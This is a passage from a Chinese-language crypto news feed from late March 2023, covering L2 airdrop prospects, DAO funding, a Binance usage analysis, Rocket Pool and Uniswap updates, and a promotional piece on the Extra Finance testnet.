Submarine还为加入其流动性金库的加密资产持有者们提供了一站式解决方案，使其可以从各种EVM兼容链中选定DeFi应用程序来获利。这类似于向DeFi应用程序（如借贷池）提供流动性，并从跨链费用收入中获得额外收益。与使用常规DeFi应用程序相比，通过增加流动性激励以及一对实用型通证（CUN）和治理通证（veCUN），YS的流动性提供者可以从多个来源获得更高的收益。 官网：https://www.nulink.org/ 推特：https://twitter.com/NuLink_ 更多信息：https://app.vedao.com/projects/ Nulink是一个用于分布式应用程序的隐私保护技术平台，允许用户保持匿名（Daaps）。该项目将为开发者、初创企业、小企业和企业带来企业级的安全解决方案，以实现这一目标。作为其技术基础，Nulink技术平台包括区块链、访问控制（代理重加密、基于属性的加密）和安全计算（零知识证明、安全多方计算、全同态加密）技术。它在企业范围内提供数据交换和处理能力。 Nulink正在通过结合一流的技术建立一个坚实的技术基础。应用层、密码器层、存储层、区块链层和观察者网络( Watcher Network )的整合是通过这个矩阵实现的。对于Nulink用户来说，集成到单个API中并访问各种存储和区块链解决方案是非常轻松的。该网络集成了NuCypher进行密钥管理。比特币矿工可以通过提供分散的存储设施来赚取$NLK，并且他们可以通过将信息从ETH传递到观察者层来赚取$NLK。 官网：https://www.starkswap.co/ 推特：https://twitter.com/starkswap 更多信息：https://app.vedao.com/projects/ Starkswap是第一个基于公共ZK-Rollup的StarkNet构建的AMM DeFi产品；Starkswap建立在底层基础设施之上，用户将以更便宜的成本（最初是无气体）享受闪电般的快速交易，同时仍然受益于第1层以太坊的安全性。 Starkswap是Starknet上主要AMM的有力竞争者。该团队在3月推出了测试网，并宣布从头开始重建V1，支持自定义曲线。 他们最近还与Yearn 一起推出了Iron Fleet，这是Starknet上的一个新协议，用户在与第一层DeFi协议互动时可以将他们的资产集中起来。这使得Gas可以在用户之间分摊，降低了每个人的操作成本。 单纯从撸空投的角度来看，以前的OP也好、当前的ARB也好，或者即将到来的Aptos、Sui以及明年的zkSync，基础设施一直是“大毛”，是财富效应的重要体现。 而财富效应的传达，往往先从公链、中间件等基础设施开始，然后到达生态的基础应用，比如稳定币、借贷、交易所等，最后传达到非基础应用（社交、游戏）。 目前，在zk赛道爆发前夜，我们有必要对zk赛道的基础设施和基础应用持有充分的注意力。 一文盘点2023年Layer2潜力未发币项目 | ODAILY 链接：https://www.odaily.news/post/5184314  ( 3 min )
    Upbit、Bithumb、Coinone等韩国加密交易所将下架Paycoin（PCI）
    PANews 3月31日消息，Upbit、Bithumb、Coinone等韩国加密交易所通过官网宣布将于当地时间4月14日15:00（北京时间4月14日14:00）下架Paycoin（PCI）。Upbit 表示，“直至投资警告期限届满之日，Paycoin方未能解决投资警告所指出的原因，例如未发行实名存取款账户名称及未能完成虚拟资产经营者变更报告。因此，使用PCI的境内支付业务被判定为实质上已暂停。从业绩和方向来看，投资者投资此项目会有较大风险，因此我们决定终止交易支持。” 据悉，Paycoin是韩国大型支付公司Danal子公司Danal Fintech旗下加密货币支付平台。此前去年11月14消息，韩国监管机构对Paycoin和Wemix等平台币进行调查，以防止“第二次FTX事件”；随后多家韩国交易所于去年12月份下架WEMIX。1月6日消息，韩国金融当局责令Paycoin在2月5日之前关闭相关服务。1月12日消息，韩国DAXA已将Paycoin标记为投资警告。  ( 1 min )
    Messari报告：深度解读DAO工作组的资金分配现状
    作者：Ryan Holloway，Messari分析师 编译：Felix，PANews 去中心化自治组织（DAO）已成为传统组织治理和决策的更去中心化和民主的替代方案。DAO 由代币持有者组成，他们管理协议，选举工作组贡献者或领导者，并分配协议的资金。DAO国库持有来自初始原生代币分配和协议费用的资金，这些资金用于资助DAO活动。 与任何其他组织一样，DAO必须有效地分配资源以实现其长期愿景。本报告研究了DAO工作组，这是一个总称，涵盖了DAO用来组织劳动力的结构，包括子DAO、工作流、核心单位、公会等。该报告汇总了10个DAO和5个类别的DAO预算支付情况，并观察了目前资助的子单位，以概述DAO在2022年如何以及在何处分配资源。 （免责声明：本报告旨在全面概述DAO薪酬。但在某些情况下，缺乏公开可用资料可能会限制Messari提供此数据的能力。） 随着DAO的发展，许多DAO都采用了类似的工作组结构来有效地分配任务。工作组的名称、职责、贡献者和术语各不相同。但一般来说，每个工作组都是一个精简、自治的贡献者小组，专注于DAO中的预定任务。对于他们的贡献，DAO用社区国库的资源支付工作组的报酬。 因为协议是存储在区块链上的合约，所以它们被设计为自主且永久地运行。根据定义，它们不需要维护或维修，不像今天的许多传统的软件产品。然而，与传统产品一样，它们通常受益于升级、参数优化和营销。 此外，协议通常由小团队创建。DAO使用工作组、工作流、子DAO和其他途径将任务从这些最初的核心团队转移到更广泛的社区。工作组促进逐步去中心化，同时确保贡献者遵守与创始核心团队相同的严格标准。 工作组是以去中心化的方式组织DAO劳动的最初尝试之一，由于工作组所带来的一些优势，因而仍然有效。这些小组提供了小型团队，可以快速响应快速变化的加密领域。通过将资源集中于特定的挑战或问题，DAO可以使用工作组来优化其战略，以实现其不断发展的愿景。工作组的另一个重要优势是他们受雇于DAO而不是任何中心化实体，确保抵制审查并为新贡献者提供开放的竞争环境。 然而，工作组对贡献者来说也可能具有挑战性。贡献者的表现通常会受到DAO的审查，并且贡献者必须定期通过预算更新提案，向DAO证明他们的价值。但此设置产生了几个弊端： Messari收集了DAO向各自工作组提供的2022年支付数据，来分析资金情况。Messari选择的DAO是基于它们各自的结构，目标是那些通过内部工作组运作的DAO。尽管有这些标准，但由于所涵盖的DAO的新组织结构和流程，一些历史数据是不完整的。例如，并非所有的DAO在发放薪酬时都报告或保存全职员工的历史记录。一些DAO缺乏会计透明度，并在链下投票中商定一个金额，然后在未公开的时间以未公开数量的稳定币和/或原生代币支付。 然而，值得注意的是，一些DAO的内部资金完全透明，例如Gitcoin 的工作流。Gitcoin工作流在其预算提案中提出金额，提案必须通过链上投票，并且提供准确的历史支付数据。此外，工作流在它们的概念页面中提供了大量的文档，这些文档指定了角色、会计、计划等等。 在选择了要涵盖的10个DAO之后，Messari将这些费用支出分为五个类别：产品和开发、增长计划、运营、营销和社区。 (有关每个类别和来源中特定工作组的完整分类，请参阅Miro Board) 整个2022年，有1.02亿美元从DAO的国库中分配给内部DAO劳动力。在这笔资金中，超过58%用于产品和开发，第二高的类别是DAO增长计划 (22%)。每个类别及其具体组成在决定DAO的长期成功方面起着至关重要的作用。 产品和开发 产品和开发类别侧重于协议的技术方面。它负责协议的开发、安全性、可靠性和可扩展性。此工作组类别可确保协议的顺利运行，这对DAO的寿命至关重要。 产品和开发成本涵盖DAO中各种以产品为中心的领域。这些小组例如包括Gitcoin的Gitcoin产品集体 (GPC) 工作流、MakerDAO的开发和用户体验核心单元，以及ShapeShift的工程工作流。 MakerDAO 的协议工程核心单元 MakerDAO在2022年为产品和开发计划拨款3800万美元。与产品相关的计划占2022年MakerDAO分配给核心部门的5100万美元总额的75%（注意：一些资金将随着时间的推移而获得，不会立即支付）。协议工程（PE）核心单元在MakerDAO的产品和开发支出中获得了最多的资金，2022年分配了1100万美元。 PE部门由16名全职员工组成，其核心职责“是扩展Maker协议的功能，协助维护和运行现有智能合约，并确保协议设计和实现的安全性和正确性。” (来源) PE的主要职责包括： 增长计划 增长类别涵盖一系列旨在增加协议使用的计划。这些团体的例子包括Balancer的Grants计划、MakerDAO的Growth Core Unit以及ENS和Gitcoin的公共产品计划。 开发创新想法的资金是许多DAO的必要支出。虽然增长计划可能有不同的策略，但它们通常围绕着增加对集成、合作伙伴关系的使用，以及加深基于dApp的依赖性。许多协议还通过积极资助公共产品和向生态系统核心开发者捐款来促进更广泛的生态系统增长。 Balancer 的资助计划 Balancer的资助计划是Balancer在增长类别下资助的两个计划之一，另一个是Orb。该赠款计划资助为Balancer生态系统做出贡献的创新项目和团队。旨在支持各个领域的项目，包括开发、研究、教育和社区建设。该计划通过去中心化和透明的流程运作，其中所有提案均由Balancer社区和Balancer拨款委员会评估。成功的申请者将获得Balancer原生代币BAL。 运营 尽管是第三大类别，但运营对于DAO的运作至关重要。此类别涵盖法律和公司合规性、DAO流程和日常运营。运营费用包括基金会、合规小组和资金管理小组。 有9个DAO在2022年将资金分配给运营，是最常获得资助的类别。 Gitcoin的DAO Ops工作流 Gitcoin的DAO Ops工作流是其运营费用的重要组成部分，负责会计、招聘、新贡献者入职、工具和社区治理。 DAO Ops工作流处理大量的操作任务。为了让不同的贡献团体与Gitcoin的使命保持一致，Gitcoin的跨流运营工作强调了工作流之间的协作。DAO Ops还负责增加Gitcoin Steward在DAO中的参与度，处理人员操作，确保贡献者能够在他们的角色中成长，为Gitcoin Grantees提供支持，并负责所有DAO的工具需求。 营销 营销类别包括致力于推广平台和提高用户参与度的工作组。例如，Gitcoin的周边、表情包[2]和营销工作流、ShapeShift的营销公会和Balancer的Orb营销服务提供商。为了发展各自的协议，这些工作组将举办活动、参加会议、赞助黑客马拉松并开展社交媒体活动。 2022 年，Gitcoin的周边、表情包和营销工作流获得了最高的DAO营销资金分配，总计190万美元。 ShapeShift的营销工作流 ShapeShift的营销工作流以110万美元的金额在营销类别中排名第二。工作流负责推广平台和提高用户参与度。它采用各种营销举措，包括： 社区 社区类别中的团体专注于培育一个以DAO协议为中心的强大且包容的社区。他们还促进成员参与，并为社区提供教育和支持。这些团体的例子包括Balancer的Balancer Maxis、MakerDAO的大使计划、mStable的社区subDAO、Bankless DAO的教育和翻译公会，以及PoolTogether的社区团队。 强大的社区对于DAO的成功至关重要。它不仅有助于吸引新用户和贡献者，而且还鼓励现有成员在组织内承担更重要的角色。以社区为中心的举措通常包括教育研讨会、网络研讨会和聚会，以增强和教育用户了解协议的复杂性。 Bankless DAO的以社区为中心的公会 Bankless DAO的教育和翻译协会分别获得6.9万美元和7.3万美元资金，这是DAO如何优先考虑包容性社区和教育的很好的例子。 教育协会负责：培训新成员，教育新成员使用DAO和工具，并为成员举办信息会议。 翻译协会负责：通过翻译创建和传播，加深全球对加密和Bankless DAO使命的理解。 通过不同DAO之间的资金分配比较，出现了一些趋势和模式。产品与开发是全线资金最高的类别，2022年获得的平均付款最高，为46万美元。紧随其后的是增长计划、运营、营销和社区。这种模式表明DAO正在积极投资于构建和维护稳健的技术基础。 营销类别（总资金450万美元）的平均支付额高于运营（总资金1200万美元），部分原因是类别细分导致，营销类别仅包含9个团队，而运营类别包含28个团队。 这些数据提供了资金计划的总体概览，旨在作为健康资金分配的基准。然而，这些比较是有限的，DAO会随着时间的推移根据其不断变化的使命和价值观优化其支付方式。尽管如此，这些数据还是有助于突出资金最多的类别，并可以深入了解成功策略的特征。 随着区块链生态系统的发展，融资方式也必须不断适应。虽然已经有许多DAO工具可用，但是新的创新和策略可以通过改善贡献者的工作氛围来吸引人才。 DAO面临准确定价贡献、绩效衡量和问责制的问题。为确保可持续性，DAO必须确保资源得到有效分配，并确保贡献者履行其承诺。 为了改善问责制，DAO可以寻求为工作组实现严格的标准化绩效指标。虽然缺乏绩效指标还没有造成任何重大问题，但在资金稀缺的环境中，DAO可能需要变得更加严格。 全职DAO贡献者无疑面临着相当大的职业风险，因为他们受制于最新的成功资助提案。许多DAO都在努力吸引已经享有稳定收入和福利的，具有清晰职业道路的专业人士。随着区块链行业的发展和对顶尖人才的竞争加剧，DAO可能需要更加强调留住和满足他们的贡献者。这些策略可能包括： 这些变化将导致更结构化的薪酬方案，就像在传统组织中一样，包括固定工资、奖金和福利。更有竞争力的薪酬方案可能会提高工作组和贡献者之间的专业化，从而创造一个更有效的市场。 DAO还可以从探索和试验其贡献者的新薪酬模型中受益。一些例子包括： (来源) 随着越来越多的DAO加入并开始在这个领域合作，他们有一天可能会成为资助赠款和生态系统计划的中心来源。DAO可以通过共同赞助互利赠款、工作组或开发来提高资本效率，而不是独立工作。例如，DAO可以创建一个生态系统范围的公共产品组，DAO可以在其中共同资助该计划并提供反映其特定使命和价值观的贡献者。 这一想法的实践可以在协议公会试点计划中看到。在该计划中，Lido、Uniswap、ENS、Nouns和Moloch等DAO共同捐赠，以支持开发人员为以太坊协议开发和实现EIP。 (来源) 随着DAO继续去中心化，它们必须平衡权力下放和保留高质量贡献者。由于工作组增加了贡献者的自主权，DAO必须确保其薪酬模型公平、透明且具有足够的竞争力以留住人才。 为了实现这种平衡，DAO应该： 很明显，资助产品和开发计划是整个2022年的重点。但是，随着DAO变得更加成熟，这种重点可能会改变。 无论当前趋势如何，DAO将继续投入时间，探索吸引和留住顶尖人才的方法，因为他们拥有可用的创新工具。Antonio Juliano说得好： “从长期来看，我们的目标应该是让在协议上工作的感觉与在大公司工作一样或更有声望。”  ( 3 min )
    Uniswap基金会新提案提议在L1和L2上确定V3官方部署，以应对BSL到期
    PANews 3月31日消息，据官方推特，Uniswap基金会在推特上表示，由于Uniswap V3的商业源代码许可证（BSL）将于2023年4月1日到期，确定每个链的一个“官方”V3部署将非常重要,以便为用户提供安全保障，为生态系统参与者提供重点支持，并为Uniswap提供清晰度治理。 Uniswap基金会已发布治理提案，以确定BSL在4月1日到期后L1和L2上的“官方”Uniswap部署，并且目前正在收集社区的反馈，以推动这一进程。 其中，一个实体或个人可以同时充当多个利益相关者，例如，提议者也可以是部署者，部署者可以是桥提供者，Uniswap基金会还建议创建一个新的ENS子域v3-deployments.uniswap.eth以跟踪Uniswap V3在L1和L2上的官方部署。  ( 1 min )
    3分钟了解ZeroSync：在比特币上引入零知识证明，将发生怎样的化学反应？
    原文：《将零知识证明引入比特币，ZeroSync 要做什么？》 作者：Karen，Foresight News 如果在比特币上引入零知识证明，会发生什么？如果能够立即验证链的状态而无需下载区块数据或依赖第三方，这将如何改变比特币网络与用户的交互方式？最近公开的一个项目 ZeroSync 正在带头开发比特币证明系统，帮助构建具有隐私、互操作性和可扩展性等特性的比特币未来。 在 了解 ZeroSync 的实施方式和路线图之前，我们先来看看 ZeroSync 团队背景情况。ZeroSync 背后是一个名为 ZeroSync 协会（ZeroSync Association）的瑞士非营利组织，核心贡献者包括 Robin Linus、Lukas George、Tino Steffens、Max Gillett 和 Andrew Milson。 2022 年 2 月份，Lukas George 在柏林技术大学发布一篇学士论文，实施了比特币 headers chain 的第一个基本证明并对其进行了基准测试，7 月份，Robin Linus 作为项目负责人加入，共同创立了 ZeroSync 以实现全部链证明，之后，曾开发 Giza 证明（Cairo VM 完全开源证明者和验证者）的 Max Gillett 加入团队，帮助用 Cairo 实施 STARK verifier（用于证明递归）。 今年 2 月份，ZeroSync 完成递归链证明的基本原型，可验证除见证数据（数字签名）之外的所有比特币共识规则。目前 ZeroSync 已发展成为非营利组织协会 ZeroSync 协会。 ZeroSync 的开发由深耕零知识隐私技术的 Geometry 和 StarkWare 赞助支持，其中，Geometry 负责人为 Aztec Network 前首席执行官 Tom Walton-Pocock，此前还获得对冲基金大鳄 Alan Howard 支持的孵化器 WebN Group 的孵化，Geometry 提供了一笔研究经费来赞助 ZeroSync 最初的开发。StarkWare 的开源计划 OnlyDust 也提供研究资助来赞助开发。 ZeroSync 的贡献合作伙伴还包括比特币闪电网络研发商 Lighting Labs 和扩展技术研发团队 LambdaClass。 ZeroSync 致力于在比特币区块链上实现简洁的 ZK 证明，使用 StarkWare 专有的零知识可扩展透明知识论证 (zk-STARK) 有效性证明来为比特币网络生成 ZK 证明（ZK-proofs），并能够即时验证区块链的最新状态，而无需下载区块数据或依赖第三方。为了实现比特币证明，ZeroSync 也使用由 StarkWare 创建的 Cairo 语言。 ZeroSync 认为，目前证明数百 GB 的区块链历史数据在计算上非常昂贵，而压缩后产生的生成证明允许网络中任意数量的节点都可以使用它立即与网络同步。 ZeroSync 表示可以将 UTXO 集的成本降低到几千兆字节，并且 ZKP 证明非常小，不需要任何共识改变或分叉来实现。比特币固有的 UTXO 模型可以让所有比特币节点在任意时刻就比特币的存在情况达成共识。 ZeroSync 分三个阶段实施链证明，包括区块头链证明（headers chain proof）、假设有效链证明、全部链证明，其中 ZeroSync 已经完成了前两个原型。 更重要的是，ZeroSync 还将发布开发者工具包，帮助开发者将零知识证明应用至他们的产品或服务中，具体的应用场景包括但不限于，比特币交易所可以可以向其客户披露偿付能力，而无需透露具体余额或交易历史信息等内容；证明可以转换或过滤区块链数据，并创建索引以高效查询；由于证明的可组合性可以更方便地扩展和定制；无信任或少信任跨链互操作性等；使用 Zero-Knowledge Contingent Payments 出售证明数据。 综上，ZeroSync 不仅能够允许立即验证链的状态，还将有希望比特币在可扩展性、互操作性、隐私方面实现范式转变。当然，要想打造一个生产级比特币证明，也面临着安全强化以及证明性能等方面的挑战。 参考： https://zerosync.org/ https://bitcoinmagazine.com/technical/zerosync-reduces-bitcoin-node-validation  ( 2 min )
    Rocket Pool将于4月18日进行Atlas升级，包含新的8 ETH迷你矿池
    PANews 3月31日消息，据官方推特，以太坊流动性质押协议Rocket Pool将于4月18日进行Atlas升级。此次升级将推出新的8 ETH迷你矿池，即只需要8枚以太坊就可参与节点质押（满足Rocket Pool要求的情况下）。此次Atlas升级特点包括提高协议效率，为节点运营者分发更高的奖励，提升rETH容量，仍然完全无需许可。 Atlas最重要的功能是RocketPool验证节点Minipools LEB 8's，当前当节点运营商希望创建一个迷你矿池时必须提供16枚ETH并代表协议接收16枚ETH，这意味需要在以太坊上创建一个32枚ETH的质押验证器，随着LEB8的引入，16枚ETH的数量设置将减少至8ETH。此外，Smartnode v1.9.0现已发布，是Shapella硬分叉（4月12日）之前的强制升级。此版本的升级将引入16 ETH迷你矿池。 根据之前消息，此次升级将使该协议与以太坊的上海升级兼容。  ( 1 min )
    数据：所有DAO金库持有的总资产超250亿美元，较年初已翻倍
    PANews 3月31日消息，据Cointelegraph报道，DeepDAO数据显示，3月31日，所有去中心化自治组织（DAO）在金库中持有的总资产达251亿美元，创历史新高。其中约有220亿美元是流动资金，约有35亿美元预留用于归属。自2023年初以来，DAO金库资产已增加了一倍多。 Optimism Collective持有55亿美元的资金，占据22%的份额。Arbitrum的DAO，资金略低，为44亿美元，占17.5%的份额，其次为BitDAO、Uniswap和Polygon，分别持有26亿美元、25亿美元和15亿美元的资金。  ( 1 min )
    Web2沙盒游戏神作《塞尔达：王国之泪》发布Demo，对Web3游戏设计有哪些启示？
    本文来自：Folius Ventures，原文作者：Aiko， 编译：Odaily星球日报 Azuma 3 月 28 日，任天堂官方公布了超人气大作《塞尔达传说：王国之泪》长达 10 分钟的实机演示视频，并介绍了在该新作中主角林克将拥有的四项新技能： 1. 用于逆转物体运动轨迹的Recall（日语字面直译为“倒转乾坤”）； 2. 用于装备融合的 Fuse（日语字面直译为“余料建造”）； 3. 用于载具融合的 Ultrahand（日语字面直译为“究级手”）； 4. 用于穿越上层地图的Ascend（日语字面直译为“通天术”）。 Odaily 星球日报注：实机演示视频传送门。 3 月 30 日，在Folius Ventures 专注 Web3 游戏赛道投资与研究的Aiko 发布了一篇长推，梳理了《塞尔达传说：王国之泪》中所展示的一些可组合性玩法，并探析了相关设计对于 Web3 游戏的借鉴性意义。具体推文内容如下，由 Odaily 星球日报编译（有一定删改）： 在 Folius 2023 的研报中，我参考了许多任天堂游戏，比如《塞尔达传说：旷野之息》和《喷射战士》。看完了青沼英二的《塞尔达传说：王国之泪》实机演示后，我将分析 Fuse 和 Ultrahand 这两项新技能，并强调其背后的核心逻辑 —— 这些逻辑 Folius Ventures曾在 2 月 24 日的一篇研报内有所提及。 首先需要做的概念性解释是，Fuse 所代表的是装备（比如剑、弓、盾牌等等）的可组合性，而Ultrahand 所代表的则是载具（比如车、船）的可组合性。 Fuse 可谓是游戏中“功能型设计”（对应“数值型设计”）的绝佳案例。 在《塞尔达传说：王国之泪》中，玩家将「木棍」+「石头」组合可以获得「大锤」（特效为攻击力加成），将「木棍」+「草叉」组合可以获得「长矛」（特效为攻击范围加成）。通过不同的道具组合出不同特效的武器，取代了传统“数值型设计”中仅可通过强化来提升绝对力量的模式（比如 xxx 通过强化获得了「+15 传说级冰霜附魔剑」）。 Fuse 作为“功能型设计”的好处在于：从体验上看，通过提供多样化的体验，可激发玩家的探索欲和创造力，使其将新体验而非数值增长作为追求；从经济上看，低成本、可组合性强、功能各异、有叠加效果的基础组件也有助于游戏的增强经济活性和厚度。 此外，正如研报中所提到的，通过 Fuse 功能实现的装备可组合性也可以降低玩家对道具磨损的焦虑，品种繁多和大规模流通的消耗性物品与极度稀有的耐用品不同，玩家对此类物品的损耗焦虑和购买行为摩擦往往较小。具体而言，你很难让玩家接受「+15 传说级冰霜附魔剑」因磨损而毁坏，但他们却很乐于尝试通过 Fuse 功能用「木箭」+ 「白色丘丘果冻」制作「一次性冰冻箭」。 在解释 Ultrahand 之前，需要先对《塞尔达传说》系列作品做些解释。 《塞尔达传说》系列作品的最大特点在于其极度自由的开放世界，而这则是基于其高度拟真的底层物理 + 化学引擎所实现的。玩家在游戏内可以与任何环境互动，引起化学/物理反应并产生相应的结果，这给《塞尔达传说》带来了无与伦比的自由度。因此，环境交互上的创新有着非常重要的意义（Recall 和 Ascend 实际上也属于此类）。 在《艾尔登法环》（虽然宫崎英高是我最喜欢的制作人，但还是对不住了）等开放世界游戏中，由于没有底层物理 + 化学引擎，玩家只能前往指定的地图，而在《塞尔达传说：王国之泪》这样的开放世界游戏中，通过Ultrahand 功能所实现的载具可组合性将显著提高用户体验。 在实机演示中，青沼英二利用Ultrahand 功能做出了令人印象深刻的展示 —— 通过将「风扇」放置在载具（包括用「木头」融合而成的「船」）的不同位置，可以驾驶载具在水、陆、空中行驶，几乎涵盖了所有场景。该设计的背后体现了简洁的美学。 因每个「风扇」所具有的能量均有限且可被消耗，这间接地把载具这一耐用品转变成了消耗品（需要找新的「风扇」）。由于玩家可以通过Ultrahand 尝试近乎无限的组合可能，这使得「风扇」有望成为游戏内最重要的基础资源之一，进而间接影响玩家有效地去进行资源管理。 该设计的意义在于，通过尝试将耐用品巧妙地设计为消耗品，同时加强对耐用品的分层，可维持不同层次耐用品的长期需求，继续延伸的话还可以通过解锁其流动性，在增加游戏趣味的同时进一步扩大交易空间。 总之，《塞尔达传说：王国之泪》显著提高了游戏的可玩性和自由度，为整个游戏行业提供了宝贵的经验。 在上文中，我分析了任天堂是如何做“功能型设计”以及消耗品的，并解释了这些逻辑如何与Folius Ventures的研究内容相一致（建议阅读原文）。 更为重要的是，我认为“创造有趣的游戏”和“经济模型设计”的基本逻辑存在相通之处。我的许多经济设计理念均受到了任天堂的启发，我也鼓励更多团队在工作中探索和试验这一理念。  ( 2 min )
    跨链桥聚合器LI.FI完成1750万美元A轮融资，CoinFund等领投
    PANews 3月31日消息，据Finextra报道，跨链桥聚合器LI.FI宣布完成1750万美元A轮融资，CoinFund和Superscrypt领投，Bloccelerate、L1 Digital、Circle、Factor、Perridon、Theta Capital、Three Point Capital、Abra和近20位天使投资人参投。 据悉，LI.FI本轮筹集的新资金将用于推动LI.FI在更多区块链、DEX、跨链桥等领域的开发，同时加强其销售、业务发展、营销和其他能力，以支持代币和订单流交易。 此前去年7月消息，Li.Fi完成由1kx领投的550万美元融资。  ( 1 min )
    CFTC起诉币安背后的数据：币安究竟有多少“美国用户”？
    文章作者：Riyad Carey 文章编译：Block unicorn Binance以巨大的优势成为世界上最大的加密货币交易所。自2017年成立以来，它取得了持续的增长，但自2020年以来，其日益增长的主导地位令人瞩目，当时它占据了约25%的现货量市场份额。在2021年牛市的尾声，它的市场份额接近50%，然后回落，今年再次扩大到峰值70%以上。上周，它下降到只有57%，其中大部分是由于费用的变化和宕机造成的。 Binance受到的第一次打击是在2月份，当时纽约金融服务部（NYDFS）命令Paxos停止发行BUSD，同时证券交易委员会（SEC）向Paxos发出了威尔斯通知。NYDFS发言人表示，Paxos没有履行对BUSD客户进行尽职调查的义务，以防止不良行为者使用该平台（"平台 "是指Binance还是Paxos并不清楚）。我在这里更深入地介绍了这个传奇故事。 第二个更具爆炸性的打击发生在本周，CFTC宣布指控Binance及其首席执行官/创始人赵长鹏（"CZ"）故意规避联邦法律并经营非法数字资产衍生品交易所。这些指控包括： 此案可能需要数年时间，我们不会对指控是否属实作出判断，而是调查数据显示的Binance用户群的情况，并考虑为什么美国机构可能想使用Binance--以及为什么Binance宁愿大型交易者使用Binance而不是Binance.US。 Binance的交易量不成比例地偏向于美国的交易时间（橙色），实际上与美国的交易所Coinbase很相似。2018年，其35%的BTC交易量发生在UTC下午1点至8点（美东时间上午9点至下午4点），而Coinbase的数字是41.5%。2023年到目前为止，Binance的BTC交易量有43.4%是在美国时间段，略微落后于Coinbase的47.5%。 也可以确定Binance的交易量分布何时发生了变化：2021年春末夏初，中国对加密货币交易进行了打击。在短短几个月内，Binance从一个相对平坦的小时分布变成了一个明显偏向欧洲和美国交易时间的分布，美东时间上午10点的交易量是美东时间凌晨1点的两倍多。 诚然，Binance在美国交易时间内促成了其大部分交易量，尽管不清楚这是否纯粹是该交易所专门针对美国交易者的结果。然而，一家总部设在美国的交易公司已经出面证实了诉讼中的一些细节，因此值得考虑为什么一些美国机构会选择使用Binance。似乎有三个主要原因： 1. 衍生品的交易机会 2. 更多的现货交易对 3. 更深层次的流动性 2019年年中，Binance上线了衍生品交易服务，相对其他竞争对手来说，Binance在那个时候还是个新人。因此，BitMEX是之前最大的加密货币衍生品交易所——在2020年10月与CFTC发生冲突时，Binance处于完美的位置，币安显然非常清楚对BitMEX的监管行动所带来的影响，其运营总监据称告诉一位同事：“最近的BitMEX事件对该行业产生了巨大的影响。请从我们的所有图表中删除美国数据... 除了金融和极少数人以外，未来的所有人都不会看到我们的美国数据。” 币安一直以来在永续合约上市方面非常积极，并且自2021年以来，只被FTX超越，后者在停业时拥有182种合约交易对。 对于加密货币衍生品，美国用户的选择有限——散户可以使用无需KYC检查的交易所（这可能不安全或不合法），而机构可以选择使用少数受许可的衍生品交易所，如CME（仅限于BTC和ETH），或选择提起诉讼所述的方法，这将使他们可以访问超过200种永续合约交易对。 币安多年来一直主导着期货交易量，并且自FTX的崩溃以来，已经连续多次为Kaiko覆盖的所有BTC永续合约的交易量提供了超过一半的交易量。（请注意，自12月份以来，随着OKX和Deribit的增长，其市场份额实际上已经减少。） 由更好的流动性和更多交易对相结合，使Binance成为机构交易和做市商的一个有吸引力的场所。然而，这一领域可能会出现动荡，这取决于诉讼的结果，以及Coinbase和Gemini是否如传言那样推出国际衍生品交易所。 从更普遍的意义上讲，Binance与美国交易所相比的另一个优势是它可以自由上市新的代币进行现货交易。截至目前，Binance的活跃交易对是Coinbase的两倍以上，是Kraken的四倍，是Binance.US的六倍。 如果使用Binance，机构可以获得更多的代币，因为它比美国的分支机构多了近600个现货对。然而，除非Binance有很强的流动性，否则所有这些货币对都不会成为吸引力，而Binance确实有。如果美国证券交易委员会指控Coinbase如其威尔斯通知所暗示的那样上市了未注册的证券，那么代币上市优势看起来可能会进一步向国际交易所倾斜。 流动性在加密货币中是最重要的，特别是对于那些建立或出售大量头寸或频繁交易的机构。在这方面，Binance再次取得了很好的成绩，截至本文写作时，其利差比Binance.US收紧了36倍，比Coinbase收紧了8倍。不出所料，Binance的BTC-USDT和ETH-USDT的价差可以说是最小的。 这自然吸引了频繁交易的机构。币安的小币种流动性也非常深。下面是一个表格，显示了一个名为ATOM的市值排名前25的代币的模拟销售价值为10,000美元的滑点，该代币在这三个交易所上都有交易。在Binance上的滑点为0.03％，从未超过0.1％；在Coinbase上的滑点为0.11％，在Binance.US上波动在0.1％和0.3％之间。 币安的市场份额已经下降，并且在未来几个月中可能会进一步下降，尽管很难确定这是因为它在最常交易的BTC交易对上重新实行了费用，还是因为美国机构停止在该交易所交易的原因。幸运的是，Kaiko拥有各种流动性和交易指标，可以让我们了解该交易所如何应对其最近的变化和这项监管行动。 通常，我会猜测美国交易所，特别是Coinbase，会吸收一些离开币安的美国机构现货交易量。但现在监管环境过于不明确，无法做出任何预测。在短期内，Deribi、Bybit和OKX等其他交易所可能会继续吸引币安的一些衍生品交易量。如果Gemini 和Coinbase决定参与其中，争夺这部分交易量可能会变得更加有趣。  ( 2 min )
    ​Optimism 生态收益聚合协议Extra Finance测试网上线：如何获得潜在空投的机会？
    作为倍受关注的 L2 公链，Optimism 是第一个开发并部署的 EVM 兼容 Optimistic Rollup 的以太坊 Layer 2 Chain。Optimism 与以太坊并行，在不牺牲以太坊安全性的同时，更加高效地处理交易，并将 gas 费降低至最低。 因为确认速度较慢，gas 费用高昂，一些需要高频操作的智能合约无法在以太坊上部署，Optimism 则弥补了以太坊的短板。加上对早期支持者的大规模空投，以及对生态系统的扶持，Optimism 吸引了一大波用户和开发者的关注和参与。 Optimism 生态毫无悬念地迎来了爆发，生态项目包含 NFT、DeFi、GameFi、基础设施、DAO、跨链桥等多个赛道。其中，仅 DeFi 赛道在官网收录的项目就已经达到了 200 多个。生态的繁荣大大提高了 Optimism 生态的拓展性和可组合性，更多的创新项目在 Optimism 上开发并构建。 Extra Finance 是基于 Optimism 的去中心化借贷和自动复合杠杆收益聚合协议。Extra Finance 将会首先集成生态中主流 Dex Velodrome，是第一个基于 Velodrome 的全功能杠杆收益提升协议。包括 Uniswap V3、Beethoven 以及其他主流 Dex 也在后期的规划中。Extra 为用户提供借贷、最高 3 倍杠杆 Farming、做多/做空、中性策略、策略Vault 等多种产品。用户在 Extra 中质押 LP，无需频繁主动管理，就能够将收益提高数倍，或者将资产存入借贷池，获得无风险的稳定收益。 目前，Extra Finance 测试网已经上线，同时在 Galxe 上推出了测试网活动，参与测试完成任务获得测试网 OAT，OAT 的持有人可能获得潜在的激励，可能是空投、白名单或者 OG 等。（详情在文末） 杠杆+复投数倍提升收益 每一位流动性提供者都希望获得更高的收益。Extra Finance 的使命就是解决流动性提供者的需求，在风险最低的情况下，采用杠杆和复投策略将 LP 收益尽可能提高。 让杠杆成为工具 经常能够看到大 V 和 KOL 